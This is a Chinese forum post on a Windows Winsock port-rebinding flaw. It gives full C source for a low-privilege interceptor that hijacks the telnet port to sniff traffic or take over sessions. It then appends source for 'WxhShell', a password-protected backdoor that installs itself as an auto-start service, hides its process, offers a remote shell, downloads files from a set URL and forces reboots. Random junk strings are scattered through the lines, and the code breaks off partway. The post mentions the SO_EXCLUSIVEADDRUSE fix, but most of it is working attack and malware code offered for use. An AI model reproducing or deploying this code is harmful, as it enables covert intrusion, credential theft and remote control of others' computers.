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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lA6{TH.x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8t7r^[T  
9N2.:<so  
  saddr.sin_family = AF_INET; 0>;[EFL  
*.A-UoHa  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 39~WP$GM  
u ^2/:L  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8A*tpMV?J  
*y+K{ fM1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1b7?6CqV  
l Ny<E!0  
  这意味着什么?意味着可以进行如下的攻击: sUk n.g!  
r' |ei,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <I?f=[  
DU5rB\!.~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qM>Dt  
G!D~*B9 G  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 AGx(IK/_  
O!F"w !5@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  dJb7d`  
_jVJkg)]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Jcp=<z*0  
 -l"8L;`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 '1G0YfG}n  
OaByfo<S  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }$@K   
5a&gdqg]  
  #include rdX;  
  #include *JWPt(bnI  
  #include N B8Yn\{B  
  #include    4i29nq^n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %P *b&H^0  
  int main() !_&;#j](  
  { v=IcVHuf  
  WORD wVersionRequested;  Kc3/*eu;  
  DWORD ret; m .En!~t  
  WSADATA wsaData; EYZ,GT-I  
  BOOL val; fKs3H?|  
  SOCKADDR_IN saddr; ?xE'i[F @  
  SOCKADDR_IN scaddr; #vR5a}BAk  
  int err; RS7J~Q  
  SOCKET s; kPnuU!  
  SOCKET sc; N VDvd6  
  int caddsize; 7#g<fh  
  HANDLE mt; z2dW)_fU$  
  DWORD tid;   HDhG1B"NL  
  wVersionRequested = MAKEWORD( 2, 2 ); ^687U,+  
  err = WSAStartup( wVersionRequested, &wsaData ); I=8MLv  
  if ( err != 0 ) { j2#B l  
  printf("error!WSAStartup failed!\n"); ^;EwZwH[  
  return -1; <yKyM#4X  
  } ~HBx5Cpi  
  saddr.sin_family = AF_INET; 6 c-9[-Px  
   &KeD{M%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 a S+i`A:a  
k%LsjN.S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); T%2%*oa  
  saddr.sin_port = htons(23); ~A>-tn}O  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JaJyH%+$!  
  { Uetna!ABB  
  printf("error!socket failed!\n"); XP@&I[J3sI  
  return -1; ;BEX|w xn  
  } u$1^=  
  val = TRUE; ,Q8h#0z r  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]=%u\~AvL  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) p,2H8I){  
  { Ozc9yy!%  
  printf("error!setsockopt failed!\n"); YZ5[# E@l  
  return -1;  #U/L8  
  } mP ^*nB@,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J2$ =H1-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $K!6T  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S!~p/bB[+I  
_jk+$`[9PL  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) yc@ :*Z  
  { A@I3:V  
  ret=GetLastError(); ?h ym~,  
  printf("error!bind failed!\n"); q%Lw#f  
  return -1; -"n8Wv  
  } g);.".@"  
  listen(s,2); l65Qk2<YC  
  while(1) ?B:],aztf  
  { Th5}?j7  
  caddsize = sizeof(scaddr); kX'a*AG  
  //接受连接请求 ; HjT  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;+VHi%5Z  
  if(sc!=INVALID_SOCKET) vXc gl  
  { /d1V&Lj  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Zq\ p%AU9  
  if(mt==NULL) H AMps[D[  
  { z_9q T"vF  
  printf("Thread Creat Failed!\n"); [E/^bM+  
  break; ;5}y7#4C  
  } Fk&A2C}$b  
  } +P"u1q*+p  
  CloseHandle(mt); /)xQ# yfX  
  } Y t0s  
  closesocket(s); =zKbvwe%X  
  WSACleanup(); o|c"W}W  
  return 0; !EO 2  
  }   ("j*!Dsd  
  DWORD WINAPI ClientThread(LPVOID lpParam) kZvh<NFh_  
  { 8]0?mV8iOE  
  SOCKET ss = (SOCKET)lpParam; -*&C "%e  
  SOCKET sc; <<9Y=%C+  
  unsigned char buf[4096]; >oc&hT  
  SOCKADDR_IN saddr; . aqP=  
  long num; +jz%:D  
  DWORD val; Q##L|*Qy  
  DWORD ret; }WG -R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 U-:_4[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G@]|/kN1y  
  saddr.sin_family = AF_INET; .FAuM~_99b  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~6:y@4&F  
  saddr.sin_port = htons(23); ||sj*K  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1`8(O >5  
  { $;%dQ!7*  
  printf("error!socket failed!\n"); q5(Z   
  return -1; Yo#F;s7  
  } @](\cT64i3  
  val = 100; QG=&{-I~[3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zE<GwVI~  
  { N?;5%pG <  
  ret = GetLastError(); 66~]7w  
  return -1; az ?2  
  } *]_GFixi  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GCEq3 ^/  
  { Z<0+<tt  
  ret = GetLastError(); mh8~w~/[  
  return -1; j;b<oQH  
  } -"e$ VB  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g$ oe00b  
  { NQ(}rr'.  
  printf("error!socket connect failed!\n"); B>&eciY  
  closesocket(sc); zx{O/v KG  
  closesocket(ss); \aO.LwYm;:  
  return -1; U)N_/  
  } A{Q:,S)  
  while(1) r?=7#/]  
  { ?I`ru:iG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [oQ&}3\XJ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 MrA&xM  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 NK@G0p~O  
  num = recv(ss,buf,4096,0); pQ Y.MZSA  
  if(num>0) txwTJScg  
  send(sc,buf,num,0); d>Z{TFY  
  else if(num==0) AT{ewb  
  break; 9)qjW&`  
  num = recv(sc,buf,4096,0); nJ4CXSdE  
  if(num>0) SdfrLdi}Y  
  send(ss,buf,num,0); 1+^L,-k!  
  else if(num==0) +0O{"XM  
  break; sQS2U6  
  } 2Ax HhD.  
  closesocket(ss); >, &6zj  
  closesocket(sc); ~qiSkG  
  return 0 ; 3a4 ]{  
  } G'z&U?Ng  
B K'!WX  
iD|"}}01  
========================================================== WQ]~TGW  
eD, 7gC-  
下边附上一个代码,,WXhSHELL %&"_=Lc  
Iy](?b  
========================================================== d+|8({X]D8  
1Ly?XNS  
#include "stdafx.h" qx"?')+  
4\?I4|{pC  
#include <stdio.h> 'Z7oPq6  
#include <string.h> MWCP/~>a2  
#include <windows.h> 3Lq?Y7#KQp  
#include <winsock2.h> 9`)NFy?  
#include <winsvc.h> #TUsi,jG  
#include <urlmon.h> N L]:<FG  
hSD)|  
#pragma comment (lib, "Ws2_32.lib") d*1@lmV*  
#pragma comment (lib, "urlmon.lib") L `+\M+  
E<a~ `e  
#define MAX_USER   100 // 最大客户端连接数 KTk%N p  
#define BUF_SOCK   200 // sock buffer =? xA*_^  
#define KEY_BUFF   255 // 输入 buffer "_C^Bc  
yi7-[W}  
#define REBOOT     0   // 重启 >;QkV6i7  
#define SHUTDOWN   1   // 关机 -)?~5Z   
u9>.x zYG  
#define DEF_PORT   5000 // 监听端口 +6f5uMKUvs  
''wWw(2O  
#define REG_LEN     16   // 注册表键长度 r}QW!^F  
#define SVC_LEN     80   // NT服务名长度 ;=6 ++Oq  
8@/]ki `>  
// 从dll定义API v^[Ny0cM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,KIa+&vJW@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0ldde&!p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g?i_10Xlp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `a2Oj@jP  
C>@~W(IE  
// wxhshell配置信息 RN3w{^Ll  
struct WSCFG { qrNW\ME  
  int ws_port;         // 监听端口 (^9q7)n  
  char ws_passstr[REG_LEN]; // 口令 ^#S  
  int ws_autoins;       // 安装标记, 1=yes 0=no }x-~>$:"  
  char ws_regname[REG_LEN]; // 注册表键名 7 s5?^^  
  char ws_svcname[REG_LEN]; // 服务名 "F|OJ@ M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -NZj :N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :M ix*NCf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r[M]2h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '8k\a{t_z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (1(3:)@S6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #0L :h ?L  
!HqIi@>8  
}; ,US~p_M!  
"~7| !9<  
// default Wxhshell configuration *=S\jek  
struct WSCFG wscfg={DEF_PORT, 4^alAq^  
    "xuhuanlingzhe", PKfxL}:"8  
    1, =o_d2 Ak  
    "Wxhshell", ^=D77 jS  
    "Wxhshell", _ZD)#?  
            "WxhShell Service", +B_q? 6pR  
    "Wrsky Windows CmdShell Service", c.,:r X0S  
    "Please Input Your Password: ", ssi{(}H/Jv  
  1, cWp n/.a  
  "http://www.wrsky.com/wxhshell.exe", Iu(T@",Q#  
  "Wxhshell.exe" N!"GwH  
    }; KL.{)bi  
0tn5>Dsk  
// 消息定义模块 n4k. tq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8o4<F%ot  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F!`.y7hY@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g=b[V   
char *msg_ws_ext="\n\rExit."; $|6Le; K  
char *msg_ws_end="\n\rQuit."; cdP+X'Y4D  
char *msg_ws_boot="\n\rReboot..."; ))G%C6-  
char *msg_ws_poff="\n\rShutdown..."; u;& `_=p  
char *msg_ws_down="\n\rSave to "; 4m#i4  
< 5[wP)K@  
char *msg_ws_err="\n\rErr!"; =[t([DG  
char *msg_ws_ok="\n\rOK!"; )Ah  
:'Imz   
char ExeFile[MAX_PATH]; lEZ[0oa  
int nUser = 0; RURO0`^  
HANDLE handles[MAX_USER]; P!B\:B%4~]  
int OsIsNt; zi[bpa17W  
>eAlz 4  
SERVICE_STATUS       serviceStatus; LD_aJ^(d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V)Z*X88:Tv  
;-^WUf |  
// 函数声明 %'4dg k  
int Install(void); jDgiH}  
int Uninstall(void); ^bL.|vB  
int DownloadFile(char *sURL, SOCKET wsh); eiP>?8  
int Boot(int flag); kc|`VB8L  
void HideProc(void); n?Gm 5##  
int GetOsVer(void); x gaN0!  
int Wxhshell(SOCKET wsl); !pw%l4]/t  
void TalkWithClient(void *cs); f>ED  
int CmdShell(SOCKET sock); yW|yZ(7  
int StartFromService(void); pVt-7 AgW  
int StartWxhshell(LPSTR lpCmdLine); I g-VSQ  
Ao`9fI#q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;n7k_K#0z!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %>xW_5;Z  
.b  N0!  
// 数据结构和表定义 8dIgw  
SERVICE_TABLE_ENTRY DispatchTable[] = i]hFiX  
{ wOHK dQ'  
{wscfg.ws_svcname, NTServiceMain}, wc~a}0uz  
{NULL, NULL} I.y|AQB  
}; e#kPf 'gL  
nsw.\(#  
// 自我安装 79:x>i=  
int Install(void) JZu7Fb]L9  
{ \)y5~te*  
  char svExeFile[MAX_PATH]; 09|d<  
  HKEY key; dW8'$!@!!  
  strcpy(svExeFile,ExeFile); .__X[Mzth3  
b*dRNu  
// 如果是win9x系统,修改注册表设为自启动 c 0!bn b  
if(!OsIsNt) { q* Ns]f'a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ((EN&X,v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C"IPCJYn  
  RegCloseKey(key); 0~Yg={IKhK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bi KpV? Dp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O+.V,` O  
  RegCloseKey(key); [^ 7^&/0  
  return 0; 8EbYk2j  
    } 4X#>;  
  } <po(7XB  
} )]>=Uo  
else { ]Z<{ ~  
s'~_pP  
// 如果是NT以上系统,安装为系统服务 2c8,H29  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z %+?\.oH  
if (schSCManager!=0) lOd[8|/  
{ N ?V5gi  
  SC_HANDLE schService = CreateService x3wyIio*  
  ( Qf>dfJ^q  
  schSCManager, *|euC"5c  
  wscfg.ws_svcname, (X>r_4W$  
  wscfg.ws_svcdisp, ms;Lu- UR  
  SERVICE_ALL_ACCESS, 4"l(rg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bhe|q`1,E  
  SERVICE_AUTO_START, I \ vu?$w  
  SERVICE_ERROR_NORMAL, 6G@_!i*2F  
  svExeFile, Ms^Y:,;Hi  
  NULL, .o|Gk 5)  
  NULL,  9l{r&]  
  NULL, Am  kHVg  
  NULL, C/!2q$  
  NULL ]>R`]U9*O  
  ); ^!pagt^  
  if (schService!=0) _6=6 b!hD  
  { .%WbXs  
  CloseServiceHandle(schService); x0Tb7y`  
  CloseServiceHandle(schSCManager); iKp4@6an  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Pb]s+1  
  strcat(svExeFile,wscfg.ws_svcname); ;K$E;ZhPN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]0m4esK`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VCbnS191*  
  RegCloseKey(key); OWOj|jM  
  return 0; G;fP  
    } apGf@b  
  } VWLou jB  
  CloseServiceHandle(schSCManager); Q CfA3*  
} $G*$j!  
} ##k== 'dR  
N<N!it  
return 1; r<&d1fM;X  
} dBobVT'  
;zSh9H  
// 自我卸载 O;qS 3  
int Uninstall(void) H1hj` '\"<  
{ ym(r;mj!  
  HKEY key;  U]e;=T:3  
uo 7AU3\  
if(!OsIsNt) { HpNf f0c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k*z)AR  
  RegDeleteValue(key,wscfg.ws_regname); K +w3YA  
  RegCloseKey(key); }p8a'3@Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (U$ F) 7  
  RegDeleteValue(key,wscfg.ws_regname); =UTv  
  RegCloseKey(key); *(o~pxFTR  
  return 0; \:-; {  
  } _5.7HEw>/  
} 1S.nqOfx  
} $stJ+uh  
else { (q:L_zFj>"  
mI"|^!L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6"jq/Pu  
if (schSCManager!=0) ~Qzm!Po,  
{ 'Ur$jW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )W*S6}A  
  if (schService!=0) 8#7z5:_  
  { !\?? [1_e  
  if(DeleteService(schService)!=0) { G'{4ec0<{  
  CloseServiceHandle(schService); q ,}W.  
  CloseServiceHandle(schSCManager); v>7=T 8  
  return 0; WnUYZ_+e!  
  } i'`Z$3EF)  
  CloseServiceHandle(schService); ]'T-6  
  } e7vPi QCc  
  CloseServiceHandle(schSCManager); GW` 9SB  
} 3( AgUq  
} bX5>qqB]  
1{nXmtvr  
return 1; Y}nE/bmx&9  
}  eCk}B$ 2  
NsWyxcty  
// 从指定url下载文件 _Y}(v( (;  
int DownloadFile(char *sURL, SOCKET wsh) e[R364K  
{ EkjO4=~UC  
  HRESULT hr; g<}K^)x  
char seps[]= "/"; Z$HYXm  
char *token; 3}LTEsdM  
char *file; }v@w(*)h:  
char myURL[MAX_PATH]; #,!.e  
char myFILE[MAX_PATH]; (B,CL222x  
hua{g_  
strcpy(myURL,sURL); |910xd`Z  
  token=strtok(myURL,seps); JsVW:8QO~  
  while(token!=NULL) \t^q@}~0Wz  
  { t[iE >  
    file=token; cq@8!Eu w]  
  token=strtok(NULL,seps); hof ZpM  
  } 9:YiLoz?  
d t0?4 d  
GetCurrentDirectory(MAX_PATH,myFILE); p~+)!Z#  
strcat(myFILE, "\\"); 1 ljgq]($  
strcat(myFILE, file); HtmJIH:  
  send(wsh,myFILE,strlen(myFILE),0); oACuI|b  
send(wsh,"...",3,0); JBi<TDm/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,$W7Q  
  if(hr==S_OK) Yz.[CmdX  
return 0; hD # Yz<  
else r-&4<=C/N  
return 1; +?nW  
9s5CqB  
} (K^9$w]tf  
OYy%aA}h  
// 系统电源模块 BE}lzn=sF  
int Boot(int flag) 7 P=1+2V  
{ 2-]gHAw%  
  HANDLE hToken; 8cR4@Hqx  
  TOKEN_PRIVILEGES tkp; ^Zydy  
V0ulIKck  
  if(OsIsNt) { ]rC6fNhQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gWgYZX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q[`_Y3@j  
    tkp.PrivilegeCount = 1; QfT&y &  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YG"P:d;s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &xrm;pO  
if(flag==REBOOT) { 'UW7zL5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) waO*CjxE:  
  return 0; $>8+t>|  
} dl(cYP8L  
else { O<."C=1~E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [ ecYpE<  
  return 0; Bb8lklQ  
} p24sWDf  
  } b!<?,S  
  else { >Y)jt*vQ  
if(flag==REBOOT) { FU5vo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |UBR8  
  return 0; !-LPFy>  
} ]%ikr&78u  
else { 4+'yJ9~,B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7cY_=X-?Y  
  return 0; tezsoR!.ak  
} )5Gzk&|  
} 6_`x^[r  
GT<Y]Dk  
return 1; H@,jNIh~h  
} Gvl-q1PVC  
X2q$i  
// win9x进程隐藏模块 @M:j~  
void HideProc(void) {$oZR" MP  
{ zrD$loaW.'  
.+|G`*1<i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &6r".\; ^  
  if ( hKernel != NULL ) H_vOZ0  
  { p\b:uy6#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u5$\E]+ _  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q8P| ]  
    FreeLibrary(hKernel); =n i&*&  
  } >umcpkp- h  
)Xl/|YD  
return; -Ufd+(   
} t 0nGZ%`  
L8/o9N1  
// 获取操作系统版本 j}#48{  
int GetOsVer(void) \SA5@.W  
{ :7@"EW  
  OSVERSIONINFO winfo; OZQhT)nS]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9@:H9" w  
  GetVersionEx(&winfo); =36vsps=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) | z$ba:u5  
  return 1; \,ir]e,1  
  else Y>wpla[kUq  
  return 0; o5i?|HJ  
} r-H~MisL  
E6y/,s^~S_  
// 客户端句柄模块 gB71~A{J  
int Wxhshell(SOCKET wsl) P/,7CfyPd  
{ ;BejFcb  
  SOCKET wsh; VKS:d!}3E  
  struct sockaddr_in client; ofj7$se  
  DWORD myID; g@`14U/|  
K3!|k(jt  
  while(nUser<MAX_USER) c{V0]A9VF  
{ 'nBJ[$2^  
  int nSize=sizeof(client); UN_lK<utF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Bwn9ZYu#r  
  if(wsh==INVALID_SOCKET) return 1; -TjYQ  
"7l p|0I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J<>z}L{  
if(handles[nUser]==0) QE=Cum  
  closesocket(wsh); *{)[:;  
else rm1R^ n  
  nUser++; -Z4J?b  
  } I8 8y9sW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `jvIcu5c  
f&7SivS#  
  return 0; MS_&;2  
} X+?*Tw!\  
B#B$w_z  
// 关闭 socket J55K+  
void CloseIt(SOCKET wsh) A WMR0I  
{ }sd-X`lZ  
closesocket(wsh); OzX\ s=  
nUser--; `P)1RTVx  
ExitThread(0); w`c9_V  
} p! zC  
D 7 [n^WtL  
// 客户端请求句柄 hG2btmBht  
void TalkWithClient(void *cs) |\XjA4j  
{ Q`,D#V${D  
&z 1A-O v  
  SOCKET wsh=(SOCKET)cs; xQk]a1  
  char pwd[SVC_LEN]; -]+ XTsL  
  char cmd[KEY_BUFF]; +T"kx\<  
char chr[1]; *;,=x<  
int i,j; !})/x~~e  
@zT.&1;`  
  while (nUser < MAX_USER) { n-}:D<\7  
yodJGGAzk  
if(wscfg.ws_passstr) { 4+$<G/K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;=5V)1~i1;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NQ'^ z  
  //ZeroMemory(pwd,KEY_BUFF); B5  C]4  
      i=0; ?0DCjh8We  
  while(i<SVC_LEN) { N#bWMZ"  
(=QaAn,,R  
  // 设置超时 7 I&7YhFI  
  fd_set FdRead; {QM;%f  
  struct timeval TimeOut; )>\J~{  
  FD_ZERO(&FdRead); &Sa<&2W4S  
  FD_SET(wsh,&FdRead); \Y Cj/tG8  
  TimeOut.tv_sec=8; w> IkC+.?  
  TimeOut.tv_usec=0; Q2Yv8q_}Uq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &A*oQ3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LJc w->  
K.*?\)&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N`8!h:yL  
  pwd=chr[0]; ^t*+hFEI  
  if(chr[0]==0xd || chr[0]==0xa) { wTf0O@``6H  
  pwd=0; UacN'Rat  
  break; E:D1ZV  
  } SV<*qz  
  i++; prlB9,3|C  
    } &M6)-V4  
/raM\EyrlP  
  // 如果是非法用户,关闭 socket = EyxM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1 _fFbb"  
} ngsax1xO  
it&c ,+8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Wey-nsk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xp)#a_}  
8!VjXj"  
while(1) { r[TS#hQ  
/I7sa* i  
  ZeroMemory(cmd,KEY_BUFF); |Mo# +{~c  
w_KGn17  
      // 自动支持客户端 telnet标准   _a+0LTo".  
  j=0; q)G*"  
  while(j<KEY_BUFF) { \S=!la_T@m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9(ZzwkD'>  
  cmd[j]=chr[0]; htX'bA  
  if(chr[0]==0xa || chr[0]==0xd) { CBnD)1b\  
  cmd[j]=0; 6KnD(im  
  break; }E*d)n|  
  } wju~5  
  j++; r?{Vqephz  
    } Kp ~k!6x  
,H22;UV9  
  // 下载文件 "sAR< 5b  
  if(strstr(cmd,"http://")) { thipfS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %f6l"~y  
  if(DownloadFile(cmd,wsh)) w?jmi~6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $#]?\psf  
  else -fL|e/   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [O"i!AQ  
  } I;P?P5H  
  else { n\,TW&3  
AA>5h<NM  
    switch(cmd[0]) { Ef%8+_  
  iN`/pW/JE  
  // 帮助 EOtrrfT&  
  case '?': { Pk8L- [&v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2*K0~ b`  
    break; 0qG[hxt%  
  } ^>%=/RX  
  // 安装 ^}/YGAA  
  case 'i': { 5\R8>G~H  
    if(Install()) ?aOR ^ K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); + {a  
    else 45kMIh~~X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R3?~+ y&  
    break; Vq9hAD|k  
    } D1o 8Wo  
  // 卸载 ?z:xQ*#X  
  case 'r': { k\ I$ve"*  
    if(Uninstall()) "MoV*U2s,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "5{Yn!-:  
    else M#<x2ojW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z"Et]xSU%$  
    break; Sw5H+!  
    } lz{>c.Ll[  
  // 显示 wxhshell 所在路径 1 _5[5K^  
  case 'p': { C>T6{$xkC  
    char svExeFile[MAX_PATH]; OQ+?nB  
    strcpy(svExeFile,"\n\r"); YgM6z K~  
      strcat(svExeFile,ExeFile); y*uL,WH  
        send(wsh,svExeFile,strlen(svExeFile),0); Y] P}7GZ  
    break; CvbY2_>Nh  
    } ec=4L@V*  
  // 重启 HS(<wI  
  case 'b': { {/Q pEd>3+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?a}eRA7  
    if(Boot(REBOOT)) xZ;';}&pj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,P auP~L  
    else { NA/+bgyuT>  
    closesocket(wsh); * +OAc `8  
    ExitThread(0); XJ?@l3D:  
    } 3g-}k  
    break; h(G&X9*  
    } @C z1rKU^l  
  // 关机 k;LENB2iv  
  case 'd': { + s[(CI.b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l_,8_u7G  
